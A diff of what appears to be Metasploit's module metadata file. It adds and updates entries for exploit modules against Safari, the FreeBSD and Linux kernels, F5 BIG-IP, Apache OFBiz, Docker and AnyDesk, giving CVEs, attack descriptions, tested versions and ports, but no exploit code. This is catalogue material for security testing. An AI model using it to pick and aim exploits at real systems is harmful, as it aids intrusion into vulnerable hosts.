"URL-https://jeffs.sh/CVEs/CVE-2020-13699.txt",
"CVE-2020-13699",
"URL-https://community.teamviewer.com/t5/Announcements/Statement-on-CVE-2020-13699/td-p/98448"
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-18 13:45:28 +0000",
"path": "/modules/auxiliary/server/teamviewer_uri_smb_redirect.rb",
"is_install_path": true,
"ref_name": "server/teamviewer_uri_smb_redirect",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"ioc-in-logs"
]
},
"needs_cleanup": false
},
"auxiliary_server/tftp": {
"name": "TFTP File Server",
"fullname": "auxiliary/server/tftp",
@@ -46601,7 +47322,7 @@
"https"
],
"targets": null,
"mod_time": "2019-09-23 15:29:38 +0000",
"mod_time": "2020-06-30 18:49:13 +0000",
"path": "/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb",
"is_install_path": true,
"ref_name": "sqli/openemr/openemr_sqli_dump",
@@ -50154,6 +50875,52 @@
},
"needs_cleanup": null
},
"exploit_apple_ios/browser/safari_jit": {
"name": "Safari Webkit JIT Exploit for iOS 7.1.2",
"fullname": "exploit/apple_ios/browser/safari_jit",
"aliases": [
],
"rank": 400,
"disclosure_date": "2016-08-25",
"type": "exploit",
"author": [
"kudima",
"Ian Beer",
"WanderingGlitch",
"timwr"
],
"description": "This module exploits a JIT optimization bug in Safari Webkit. This allows us to\n write shellcode to an RWX memory section in JavaScriptCore and execute it. The\n shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,\n obtains root and disables code signing. Finally we download and execute the\n meterpreter payload.\n This module has been tested against iOS 7.1.2 on an iPhone 4.",
"references": [
"CVE-2016-4669",
"CVE-2018-4162",
"URL-https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell",
"URL-https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons",
"URL-https://bugs.chromium.org/p/project-zero/issues/detail?id=882"
],
"platform": "Apple_iOS",
"arch": "armle",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2020-07-30 17:57:43 +0000",
"path": "/modules/exploits/apple_ios/browser/safari_jit.rb",
"is_install_path": true,
"ref_name": "apple_ios/browser/safari_jit",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"exploit_apple_ios/browser/safari_libtiff": {
"name": "Apple iOS MobileSafari LibTIFF Buffer Overflow",
"fullname": "exploit/apple_ios/browser/safari_libtiff",
@@ -50673,7 +51440,7 @@
"iZsh",
"bcoles <bcoles@gmail.com>"
],
"description": "This module exploits a vulnerability in the FreeBSD kernel,\n when running on 64-bit Intel processors.\n\n By design, 64-bit processors following the X86-64 specification will\n trigger a general protection fault (GPF) when executing a SYSRET\n instruction with a non-canonical address in the RCX register.\n\n However, Intel processors check for a non-canonical address prior to\n dropping privileges, causing a GPF in privileged mode. As a result,\n the current userland RSP stack pointer is restored and executed,\n resulting in privileged code execution.\n\n This module has been tested successfully on:\n\n FreeBSD 8.3-RELEASE (amd64); and\n FreeBSD 9.0-RELEASE (amd64).",
"description": "This module exploits a vulnerability in the FreeBSD kernel,\n when running on 64-bit Intel processors.\n\n By design, 64-bit processors following the X86-64 specification will\n trigger a general protection fault (GPF) when executing a SYSRET\n instruction with a non-canonical address in the RCX register.\n\n However, Intel processors check for a non-canonical address prior to\n dropping privileges, causing a GPF in privileged mode. As a result,\n the current userland RSP stack pointer is restored and executed,\n resulting in privileged code execution.\n\n This module has been tested successfully on:\n\n FreeBSD 8.3-RELEASE (amd64); and\n FreeBSD 9.0-RELEASE (amd64).",
"references": [
"BID-53856",
"CVE-2012-0217",
@@ -50698,7 +51465,7 @@
"targets": [
"Automatic"
],
"mod_time": "2018-12-21 15:40:01 +0000",
"mod_time": "2020-07-18 23:31:34 +0000",
"path": "/modules/exploits/freebsd/local/intel_sysret_priv_esc.rb",
"is_install_path": true,
"ref_name": "freebsd/local/intel_sysret_priv_esc",
@@ -50709,6 +51476,66 @@
},
"needs_cleanup": true
},
"exploit_freebsd/local/ip6_setpktopt_uaf_priv_esc": {
"name": "FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation",
"fullname": "exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc",
"aliases": [
],
"rank": 500,
"disclosure_date": "2020-07-07",
"type": "exploit",
"author": [
"Andy Nguyen",
"bcoles <bcoles@gmail.com>"
],
"description": "This module exploits a race and use-after-free vulnerability in the\n FreeBSD kernel IPv6 socket handling. A missing synchronization lock\n in the `IPV6_2292PKTOPTIONS` option handling in `setsockopt` permits\n racing `ip6_setpktopt` access to a freed `ip6_pktopts` struct.\n\n This exploit overwrites the `ip6po_pktinfo` pointer of a `ip6_pktopts`\n struct in freed memory to achieve arbitrary kernel read/write.\n\n This module has been tested successfully on:\n\n FreeBSD 9.0-RELEASE #0 (amd64);\n FreeBSD 9.1-RELEASE #0 r243825 (amd64);\n FreeBSD 9.2-RELEASE #0 r255898 (amd64);\n FreeBSD 9.3-RELEASE #0 r268512 (amd64);\n FreeBSD 12.0-RELEASE r341666 (amd64); and\n FreeBSD 12.1-RELEASE r354233 (amd64).",
"references": [
"CVE-2020-7457",
"EDB-48644",
"PACKETSTORM-158341",
"URL-https://hackerone.com/reports/826026",
"URL-https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-ipv6",
"URL-https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch",
"URL-https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h",
"URL-https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c"
],
"platform": "BSD",
"arch": "x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic",
"FreeBSD 9.0-RELEASE #0",
"FreeBSD 9.1-RELEASE #0 r243825",
"FreeBSD 9.2-RELEASE #0 r255898",
"FreeBSD 9.3-RELEASE #0 r268512",
"FreeBSD 12.0-RELEASE r341666",
"FreeBSD 12.1-RELEASE r354233"
],
"mod_time": "2020-07-16 21:25:03 +0000",
"path": "/modules/exploits/freebsd/local/ip6_setpktopt_uaf_priv_esc.rb",
"is_install_path": true,
"ref_name": "freebsd/local/ip6_setpktopt_uaf_priv_esc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-os-restarts"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"needs_cleanup": true
},
"exploit_freebsd/local/mmap": {
"name": "FreeBSD 9 Address Space Manipulation Privilege Escalation",
"fullname": "exploit/freebsd/local/mmap",
@@ -50769,7 +51596,7 @@
"stealth",
"bcoles <bcoles@gmail.com>"
],
"description": "This module exploits a vulnerability in the FreeBSD\n run-time link-editor (rtld).\n\n The rtld `unsetenv()` function fails to remove `LD_*`\n environment variables if `__findenv()` fails.\n\n This can be abused to load arbitrary shared objects using\n `LD_PRELOAD`, resulting in privileged code execution.\n\n This module has been tested successfully on:\n\n FreeBSD 7.2-RELEASE (amd64); and\n FreeBSD 8.0-RELEASE (amd64).",
"description": "This module exploits a vulnerability in the FreeBSD\n run-time link-editor (rtld).\n\n The rtld `unsetenv()` function fails to remove `LD_*`\n environment variables if `__findenv()` fails.\n\n This can be abused to load arbitrary shared objects using\n `LD_PRELOAD`, resulting in privileged code execution.\n\n This module has been tested successfully on:\n\n FreeBSD 7.2-RELEASE (amd64); and\n FreeBSD 8.0-RELEASE (amd64).",
"references": [
"BID-37154",
"CVE-2009-4146",
@@ -50793,7 +51620,7 @@
"targets": [
"Automatic"
],
"mod_time": "2019-05-03 09:53:37 +0000",
"mod_time": "2020-08-24 11:47:50 +0000",
"path": "/modules/exploits/freebsd/local/rtld_execl_priv_esc.rb",
"is_install_path": true,
"ref_name": "freebsd/local/rtld_execl_priv_esc",
@@ -50926,7 +51753,7 @@
"targets": [
"Samba 2.2.x - Bruteforce"
],
"mod_time": "2018-09-15 18:54:45 +0000",
"mod_time": "2020-05-13 16:34:47 +0000",
"path": "/modules/exploits/freebsd/samba/trans2open.rb",
"is_install_path": true,
"ref_name": "freebsd/samba/trans2open",
@@ -51748,6 +52575,69 @@
},
"needs_cleanup": true
},
"exploit_linux/http/apache_ofbiz_deserialiation": {
"name": "Apache OFBiz XML-RPC Java Deserialization",
"fullname": "exploit/linux/http/apache_ofbiz_deserialiation",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-07-13",
"type": "exploit",
"author": [
"Alvaro Muñoz",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploits a Java deserialization vulnerability in Apache\n OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for\n versions prior to 17.12.04.",
"references": [
"CVE-2020-9496",
"URL-https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz",
"URL-https://ofbiz.apache.org/release-notes-17.12.04.html",
"URL-https://issues.apache.org/jira/browse/OFBIZ-11716"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 8443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"Linux Dropper"
],
"mod_time": "2020-08-17 11:53:39 +0000",
"path": "/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb",
"is_install_path": true,
"ref_name": "linux/http/apache_ofbiz_deserialiation",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"needs_cleanup": null
},
"exploit_linux/http/astium_sqli_upload": {
"name": "Astium Remote Code Execution",
"fullname": "exploit/linux/http/astium_sqli_upload",
@@ -51861,7 +52751,7 @@
"author": [
"mr_me <steventhomasseeley@gmail.com>"
],
"description": "This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP\n setup with display_errors set to On, which can be used to allow us to upload a malicious\n ZIP file. On the web application, a blacklist verification is performed before extraction,\n however it is not sufficient to prevent exploitation.\n\n You are required to login to the target to reach the vulnerability, however this can be\n done as a student account and remote registration is enabled by default.\n\n Just in case remote registration isn't enabled, this module uses 2 vulnerabilities\n in order to bypass the authentication:\n\n 1. confirm.php Authentication Bypass Type Juggling vulnerability\n 2. password_reminder.php Remote Password Reset TOCTOU vulnerability",
"description": "This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP\n setup with display_errors set to On, which can be used to allow us to upload a malicious\n ZIP file. On the web application, a blacklist verification is performed before extraction,\n however it is not sufficient to prevent exploitation.\n\n You are required to login to the target to reach the vulnerability, however this can be\n done as a student account and remote registration is enabled by default.\n\n Just in case remote registration isn't enabled, this module uses 2 vulnerabilities\n in order to bypass the authentication:\n\n 1. confirm.php Authentication Bypass Type Juggling vulnerability\n 2. password_reminder.php Remote Password Reset TOCTOU vulnerability",
"references": [
"URL-http://www.atutor.ca/",
"URL-http://sourceincite.com/research/src-2016-09/",
@@ -51890,7 +52780,7 @@
"targets": [
"Automatic"
],
"mod_time": "2018-08-09 23:34:03 +0000",
"mod_time": "2020-06-15 12:15:00 +0000",
"path": "/modules/exploits/linux/http/atutor_filemanager_traversal.rb",
"is_install_path": true,
"ref_name": "linux/http/atutor_filemanager_traversal",
@@ -52552,7 +53442,7 @@
"Unix Command",
"Linux Dropper"
],
"mod_time": "2020-05-05 13:33:10 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/linux/http/cisco_ucs_cloupia_script_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/cisco_ucs_cloupia_script_rce",
@@ -52636,6 +53526,7 @@
"disclosure_date": "2019-12-17",
"type": "exploit",
"author": [
"Mikhail Klyuchnikov",
"Project Zero India",
"TrustedSec",
"James Brytan",
@@ -52652,7 +53543,8 @@
"EDB-47901",
"EDB-47902",
"URL-https://support.citrix.com/article/CTX267027/",
"URL-https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/"
"URL-https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/",
"URL-https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/"
],
"platform": "Python,Unix",
"arch": "python, cmd",
@@ -52676,7 +53568,7 @@
"Python",
"Unix Command"
],
"mod_time": "2020-04-20 20:06:52 +0000",
"mod_time": "2020-07-08 14:36:42 +0000",
"path": "/modules/exploits/linux/http/citrix_dir_traversal_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/citrix_dir_traversal_rce",
@@ -54382,7 +55274,7 @@
"Linux (x64)",
"Linux (cmd)"
],
"mod_time": "2020-05-21 16:31:45 +0000",
"mod_time": "2020-06-27 14:51:54 +0000",
"path": "/modules/exploits/linux/http/eyesofnetwork_autodiscovery_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/eyesofnetwork_autodiscovery_rce",
@@ -54403,6 +55295,69 @@
},
"needs_cleanup": null
},
"exploit_linux/http/f5_bigip_tmui_rce": {
"name": "F5 BIG-IP TMUI Directory Traversal and File Upload RCE",
"fullname": "exploit/linux/http/f5_bigip_tmui_rce",
"aliases": [
],
"rank": 200,
"disclosure_date": "2020-06-30",
"type": "exploit",
"author": [
"Mikhail Klyuchnikov",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploits a directory traversal in F5's BIG-IP Traffic\n Management User Interface (TMUI) to upload a shell script and execute\n it as the Unix root user.\n\n Unix shell access is obtained by escaping the restricted Traffic\n Management Shell (TMSH). The escape may not be reliable, and you may\n have to run the exploit multiple times. Sorry!\n\n Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,\n 15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced\n in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.\n\n Tested against the VMware OVA release of 14.1.2.",
"references": [
"CVE-2020-5902",
"URL-https://support.f5.com/csp/article/K52145254",
"URL-https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"Linux Dropper"
],
"mod_time": "2020-08-14 21:06:07 +0000",
"path": "/modules/exploits/linux/http/f5_bigip_tmui_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/f5_bigip_tmui_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"service-resource-loss"
],
"Reliability": [
"unreliable-session"
],
"SideEffects": [
"ioc-in-logs",
"config-changes",
"artifacts-on-disk"
]
},
"needs_cleanup": true
},
"exploit_linux/http/f5_icall_cmd": {
"name": "F5 iControl iCall::Script Root Command Execution",
"fullname": "exploit/linux/http/f5_icall_cmd",
@@ -54614,6 +55569,57 @@
},
"needs_cleanup": null
},
"exploit_linux/http/geutebruck_testaction_exec": {
"name": "Geutebruck testaction.cgi Remote Command Execution",
"fullname": "exploit/linux/http/geutebruck_testaction_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-05-20",
"type": "exploit",
"author": [
"Davy Douhine"
],
"description": "This module exploits an authenticated arbitrary command execution vulnerability within the 'server'\n GET parameter of the /uapi-cgi/testaction.cgi page of Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx, EFD-22xx,\n ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.25 as well as firmware\n versions 1.12.13.2 and 1.12.14.5 when the 'type' GET paramter is set to 'ntp'.\n Successful exploitation results in remote code execution as the root user.",
"references": [
"CVE-2020-16205",
"URL-http://geutebruck.com",
"URL-https://ics-cert.us-cert.gov/advisories/icsa-20-219-03",
"URL-https://www.randorisec.fr/s05e01-rce-on-geutebruck-ip-cameras/"
],
"platform": "Linux,Unix",
"arch": "armle",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic Target"
],
"mod_time": "2020-08-15 00:56:53 +0000",
"path": "/modules/exploits/linux/http/geutebruck_testaction_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/geutebruck_testaction_exec",
"check": true,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": null
},
"exploit_linux/http/github_enterprise_secret": {
"name": "Github Enterprise Default Session Secret And Deserialization Vulnerability",
"fullname": "exploit/linux/http/github_enterprise_secret",
@@ -55154,13 +56160,14 @@
"author": [
"Pedro Ribeiro <pedrib@gmail.com>"
],
"description": "IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by\n an unauthenticated attacker to achieve remote code execution as root.\n The first is an unauthenticated bypass, followed by a command injection as the server user,\n and finally abuse of an insecure default password.\n This module exploits all three vulnerabilities, giving the attacker a root shell.\n At the time of disclosure, this is a 0day. Versions 2.0.3 and below are confirmed to be\n affected, and the latest 2.0.6 is most likely affected too.",
"description": "IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by\n an unauthenticated attacker to achieve remote code execution as root.\n The first is an unauthenticated bypass, followed by a command injection as the server user,\n and finally abuse of an insecure default password.\n This module exploits all three vulnerabilities, giving the attacker a root shell.\n At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM.\n The authentication bypass works on versions <= 2.0.6.1, but the command injection should only work on\n versions <= 2.0.4 according to IBM.",
"references": [
"CVE-2020-4427",
"CVE-2020-4428",
"CVE-2020-4429",
"URL-https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md",
"URL-https://seclists.org/fulldisclosure/2020/Apr/33"
"URL-https://seclists.org/fulldisclosure/2020/Apr/33",
"URL-https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/"
],
"platform": "Linux",
"arch": "x86, x64",
@@ -55181,9 +56188,9 @@
"https"
],
"targets": [
"IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)"
"IBM Data Risk Manager <= 2.0.4"
],
"mod_time": "2020-05-05 10:54:33 +0000",
"mod_time": "2020-06-26 11:38:55 +0000",
"path": "/modules/exploits/linux/http/ibm_drm_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/ibm_drm_rce",
@@ -56330,6 +57337,69 @@
},
"needs_cleanup": true
},
"exploit_linux/http/mida_solutions_eframework_ajaxreq_rce": {
"name": "Mida Solutions eFramework ajaxreq.php Command Injection",
"fullname": "exploit/linux/http/mida_solutions_eframework_ajaxreq_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-07-24",
"type": "exploit",
"author": [
"elbae",
"bcoles <bcoles@gmail.com>"
],
"description": "This module exploits a command injection vulnerability in Mida\n Solutions eFramework version 2.9.0 and prior.\n\n The `ajaxreq.php` file allows unauthenticated users to inject\n arbitrary commands in the `PARAM` parameter to be executed as\n the apache user. The sudo configuration permits the apache user\n to execute any command as root without providing a password,\n resulting in privileged command execution as root.\n\n This module has been successfully tested on Mida Solutions\n eFramework-C7-2.9.0 virtual appliance.",
"references": [
"CVE-2020-15920",
"EDB-48768",
"URL-https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux (x86)",
"Linux (x64)",
"UNIX (cmd)"
],
"mod_time": "2020-09-11 17:16:10 +0000",
"path": "/modules/exploits/linux/http/mida_solutions_eframework_ajaxreq_rce.rb",
"is_install_path": true,
"ref_name": "linux/http/mida_solutions_eframework_ajaxreq_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"needs_cleanup": null
},
"exploit_linux/http/multi_ncc_ping_exec": {
"name": "D-Link/TRENDnet NCC Service Command Injection",
"fullname": "exploit/linux/http/multi_ncc_ping_exec",
@@ -57149,7 +58219,7 @@
"targets": [
"Python"
],
"mod_time": "2020-05-22 16:53:44 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/linux/http/netsweeper_webadmin_unixlogin.rb",
"is_install_path": true,
"ref_name": "linux/http/netsweeper_webadmin_unixlogin",
@@ -57209,7 +58279,7 @@
"targets": [
"Nexus Repository Manager <= 3.21.1"
],
"mod_time": "2020-04-22 10:44:07 +0000",
"mod_time": "2020-08-14 13:11:38 +0000",
"path": "/modules/exploits/linux/http/nexus_repo_manager_el_injection.rb",
"is_install_path": true,
"ref_name": "linux/http/nexus_repo_manager_el_injection",
@@ -57483,6 +58553,59 @@
},
"needs_cleanup": null
},
"exploit_linux/http/pandora_fms_events_exec": {
"name": "Pandora FMS Events Remote Command Execution",
"fullname": "exploit/linux/http/pandora_fms_events_exec",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-06-04",
"type": "exploit",
"author": [
"Fernando Catoira",
"Julio Sanchez",
"Erik Wynter"
],
"description": "This module exploits a vulnerability (CVE-2020-13851) in Pandora\n FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps\n older versions) in order to execute arbitrary commands.\n\n This module takes advantage of a command injection vulnerability in the\n `Events` feature of Pandora FMS. This flaw allows users to execute\n arbitrary commands via the `target` parameter in HTTP POST requests to\n the `Events` function. After authenticating to the target, the module\n attempts to exploit this flaw by issuing such an HTTP POST request,\n with the `target` parameter set to contain the payload. If a shell is\n obtained, the module will try to obtain the local MySQL database\n password via a simple `grep` command on the plaintext\n `/var/www/html/pandora_console/include/config.php` file.\n\n Valid credentials for a Pandora FMS account are required. The account\n does not need to have admin privileges.\n This module has been successfully tested on Pandora 7.0 NG 744 running\n on CentOS 7 (the official virtual appliance ISO for this version).",
"references": [
"CVE-2020-13851",
"URL-https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities"
],
"platform": "Linux,Unix",
"arch": "x86, x64, cmd",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Linux (x86)",
"Linux (x64)",
"Linux (cmd)"
],
"mod_time": "2020-07-09 17:24:19 +0000",
"path": "/modules/exploits/linux/http/pandora_fms_events_exec.rb",
"is_install_path": true,
"ref_name": "linux/http/pandora_fms_events_exec",
"check": true,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": null
},
"exploit_linux/http/pandora_fms_exec": {
"name": "Pandora FMS Remote Code Execution",
"fullname": "exploit/linux/http/pandora_fms_exec",
@@ -61498,7 +62621,7 @@
"h00die",
"bcoles <bcoles@gmail.com>"
],
"description": "Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)\n which contains a vulnerability where it may improperly perform sign\n extension. This can be utilized to escalate privileges.\n\n The target system must be compiled with BPF support and must not have\n kernel.unprivileged_bpf_disabled set to 1.\n\n This module has been tested successfully on:\n\n Debian 9.0 kernel 4.9.0-3-amd64;\n Deepin 15.5 kernel 4.9.0-deepin13-amd64;\n ElementaryOS 0.4.1 kernel 4.8.0-52-generic;\n Fedora 25 kernel 4.8.6-300.fc25.x86_64;\n Fedora 26 kernel 4.11.8-300.fc26.x86_64;\n Fedora 27 kernel 4.13.9-300.fc27.x86_64;\n Gentoo 2.2 kernel 4.5.2-aufs-r;\n Linux Mint 17.3 kernel 4.4.0-89-generic;\n Linux Mint 18.0 kernel 4.8.0-58-generic;\n Linux Mint 18.3 kernel 4.13.0-16-generic;\n Mageia 6 kernel 4.9.35-desktop-1.mga6;\n Manjero 16.10 kernel 4.4.28-2-MANJARO;\n Solus 3 kernel 4.12.7-11.current;\n Ubuntu 14.04.1 kernel 4.4.0-89-generic;\n Ubuntu 16.04.2 kernel 4.8.0-45-generic;\n Ubuntu 16.04.3 kernel 4.10.0-28-generic;\n Ubuntu 17.04 kernel 4.10.0-19-generic;\n ZorinOS 12.1 kernel 4.8.0-39-generic.",
"description": "Linux kernel prior to 4.14.8 contains a vulnerability in the Berkeley\n Packet Filter (BPF) verifier. The `check_alu_op` function performs\n incorrect sign extension which allows the verifier to be bypassed,\n leading to arbitrary kernel read/write.\n\n The target system must be compiled with BPF support and permit\n unprivileged access to BPF with `kernel.unprivileged_bpf_disabled`\n not set to 1.\n\n This module has been tested successfully on:\n\n Debian 9.0 kernel 4.9.0-3-amd64;\n Deepin 15.5 kernel 4.9.0-deepin13-amd64;\n ElementaryOS 0.4.1 kernel 4.8.0-52-generic;\n Fedora 24 kernel 4.5.5-300.fc24.x86_64;\n Fedora 25 kernel 4.8.6-300.fc25.x86_64;\n Fedora 26 kernel 4.11.8-300.fc26.x86_64;\n Fedora 27 kernel 4.13.9-300.fc27.x86_64;\n Gentoo 2.2 kernel 4.5.2-aufs-r;\n Linux Mint 17.3 kernel 4.4.0-89-generic;\n Linux Mint 18.0 kernel 4.8.0-58-generic;\n Linux Mint 18.3 kernel 4.13.0-16-generic;\n Mageia 6 kernel 4.9.35-desktop-1.mga6;\n Manjero 16.10 kernel 4.4.28-2-MANJARO;\n Solus 3 kernel 4.12.7-11.current;\n Ubuntu 14.04.1 kernel 4.4.0-89-generic;\n Ubuntu 16.04.2 kernel 4.8.0-45-generic;\n Ubuntu 16.04.3 kernel 4.10.0-28-generic;\n Ubuntu 17.04 kernel 4.10.0-19-generic;\n ZorinOS 12.1 kernel 4.8.0-39-generic.",
"references": [
"BID-102288",
"CVE-2017-16995",
@@ -61528,7 +62651,7 @@
"targets": [
"Auto"
],
"mod_time": "2019-11-03 00:33:24 +0000",
"mod_time": "2020-07-17 10:06:42 +0000",
"path": "/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/bpf_sign_extension_priv_esc",
@@ -61699,7 +62822,7 @@
"targets": [
"Auto"
],
"mod_time": "2020-02-16 14:53:16 +0000",
"mod_time": "2020-06-29 22:17:35 +0000",
"path": "/modules/exploits/linux/local/diamorphine_rootkit_signal_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/diamorphine_rootkit_signal_priv_esc",
@@ -61755,6 +62878,47 @@
},
"needs_cleanup": true
},
"exploit_linux/local/docker_privileged_container_escape": {
"name": "Docker Privileged Container Escape",
"fullname": "exploit/linux/local/docker_privileged_container_escape",
"aliases": [
],
"rank": 300,
"disclosure_date": "2019-07-17",
"type": "exploit",
"author": [
"stealthcopter"
],
"description": "This module escapes from a privileged Docker container and obtains root on the host machine by abusing the Linux cgroup notification on release\n feature. This exploit should work against any container started with the following flags: `--cap-add=SYS_ADMIN`, `--privileged`.",
"references": [
"EDB-47147",
"URL-https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/",
"URL-https://github.com/stealthcopter/deepce"
],
"platform": "Linux",
"arch": "x86, x64, armle, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2020-07-30 17:35:30 +0000",
"path": "/modules/exploits/linux/local/docker_privileged_container_escape.rb",
"is_install_path": true,
"ref_name": "linux/local/docker_privileged_container_escape",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"exploit_linux/local/exim4_deliver_message_priv_esc": {
"name": "Exim 4.87 - 4.91 Local Privilege Escalation",
"fullname": "exploit/linux/local/exim4_deliver_message_priv_esc",
@@ -61788,7 +62952,7 @@
"targets": [
"Exim 4.87 - 4.91"
],
"mod_time": "2020-03-05 14:48:37 +0000",
"mod_time": "2020-07-18 10:00:14 +0000",
"path": "/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb",
"is_install_path": true,
"ref_name": "linux/local/exim4_deliver_message_priv_esc",
@@ -63609,6 +64773,57 @@
},
"needs_cleanup": null
},
"exploit_linux/misc/cve_2020_13160_anydesk": {
"name": "AnyDesk GUI Format String Write",
"fullname": "exploit/linux/misc/cve_2020_13160_anydesk",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-06-16",
"type": "exploit",
"author": [
"scryh",
"Spencer McIntyre"
],
"description": "The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially\n crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the\n discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On\n successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.",
"references": [
"CVE-2020-13160",
"URL-https://devel0pment.de/?p=1881"
],
"platform": "Linux",
"arch": "x64",
"rport": 50001,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Anydesk 5.5.2 Ubuntu 20.04 x64",
"Anydesk 5.5.2 Ubuntu 18.04 x64"
],
"mod_time": "2020-07-01 15:27:33 +0000",
"path": "/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb",
"is_install_path": true,
"ref_name": "linux/misc/cve_2020_13160_anydesk",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-down"
],
"SideEffects": [
"screen-effects"
],
"Reliability": [
"unreliable-session"
]
},
"needs_cleanup": null
},
"exploit_linux/misc/drb_remote_codeexec": {
"name": "Distributed Ruby Remote Code Execution",
"fullname": "exploit/linux/misc/drb_remote_codeexec",
@@ -64697,7 +65912,7 @@
